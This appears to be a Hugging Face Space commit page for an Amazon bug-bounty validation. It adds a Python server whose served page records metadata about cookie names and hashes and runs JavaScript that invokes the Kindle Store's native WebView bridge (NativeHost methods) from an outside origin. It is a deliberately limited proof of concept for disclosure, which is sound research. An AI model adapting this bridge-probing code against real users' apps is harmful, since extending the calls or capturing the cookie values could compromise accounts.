Spaces:
Sleeping

??? commited on
Commit
97fdad5
·
verified ·
1 Parent(s): 270f950

Serve bounded request and bridge metadata without retaining credentials

Browse files
Files changed (3) hide show
  1. Dockerfile +6 -0
  2. README.md +2 -1
  3. server.py +61 -0
Dockerfile ADDED
@@ -0,0 +1,6 @@
 
 
 
 
 
 
 
1
+ FROM python:3.12-alpine
2
+ WORKDIR /app
3
+ COPY server.py /app/server.py
4
+ EXPOSE 7860
5
+ CMD ["python", "/app/server.py"]
6
+
README.md CHANGED
@@ -3,10 +3,11 @@ title: Kindle Store Boundary Validation
3
  emoji: 🔬
4
  colorFrom: blue
5
  colorTo: gray
6
- sdk: static
7
  pinned: false
8
  license: mit
9
  ---
10
 
11
  Researcher-controlled static endpoint for a bounded Amazon VRP validation.
12
 
 
 
3
  emoji: 🔬
4
  colorFrom: blue
5
  colorTo: gray
6
+ sdk: docker
7
  pinned: false
8
  license: mit
9
  ---
10
 
11
  Researcher-controlled static endpoint for a bounded Amazon VRP validation.
12
 
13
+
server.py ADDED
@@ -0,0 +1,61 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import hashlib
2
+ import html
3
+ from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
4
+
5
+
6
+ def cookie_metadata(raw):
7
+ rows = []
8
+ for part in raw.split(";") if raw else []:
9
+ name, sep, value = part.strip().partition("=")
10
+ if not sep:
11
+ continue
12
+ rows.append({
13
+ "name": name,
14
+ "length": len(value),
15
+ "sha256_prefix": hashlib.sha256(value.encode()).hexdigest()[:16],
16
+ })
17
+ return rows
18
+
19
+
20
+ class Handler(BaseHTTPRequestHandler):
21
+ def log_message(self, fmt, *args):
22
+ # Do not persist request headers or credential values.
23
+ pass
24
+
25
+ def do_GET(self):
26
+ rows = cookie_metadata(self.headers.get("Cookie", ""))
27
+ table = "".join(
28
+ "<tr><td>%s</td><td>%d</td><td>%s</td></tr>" % (
29
+ html.escape(row["name"]), row["length"], row["sha256_prefix"]
30
+ ) for row in rows
31
+ ) or "<tr><td colspan=3>none</td></tr>"
32
+ body = f'''<!doctype html>
33
+ <meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1">
34
+ <title>Amazon VRP Kindle Store validation</title>
35
+ <style>body{{font:18px sans-serif;padding:24px}}pre,table{{padding:12px;background:#eee}}td,th{{padding:6px}}</style>
36
+ <h1>Amazon VRP validation page</h1>
37
+ <p id="marker">KSTORE_HOST_BOUNDARY_20261117</p>
38
+ <h2>Server-observed cookie metadata</h2>
39
+ <table><tr><th>Name</th><th>Value length</th><th>SHA-256 prefix</th></tr>{table}</table>
40
+ <h2>Bounded bridge checks</h2><pre id="result">Running…</pre>
41
+ <script>
42
+ (() => {{
43
+ const r={{marker:"KSTORE_HOST_BOUNDARY_20261117",origin:location.origin,
44
+ nativeHostPresent:typeof NativeHost!=="undefined",storeWebViewPresent:typeof StoreWebView!=="undefined"}};
45
+ if(r.nativeHostPresent){{
46
+ try{{r.accessibilityEnabled=NativeHost.getAccessibilityStatus()}}catch(e){{r.accessibilityError=String(e)}}
47
+ try{{r.syntheticContentOwned=NativeHost.isContentOnDevice("B000000000","EBOK")}}catch(e){{r.contentError=String(e)}}
48
+ try{{NativeHost.showNotificationDialog("Amazon VRP safe validation","A researcher-controlled HTTPS origin invoked the Kindle Store bridge. No purchase, download, or account change was attempted.");r.dialogInvoked=true}}catch(e){{r.dialogError=String(e)}}
49
+ }}
50
+ document.getElementById("result").textContent=JSON.stringify(r,null,2);
51
+ }})();
52
+ </script>'''.encode()
53
+ self.send_response(200)
54
+ self.send_header("Content-Type", "text/html; charset=utf-8")
55
+ self.send_header("Cache-Control", "no-store")
56
+ self.send_header("Content-Length", str(len(body)))
57
+ self.end_headers()
58
+ self.wfile.write(body)
59
+
60
+
61
+ ThreadingHTTPServer(("0.0.0.0", 7860), Handler).serve_forever()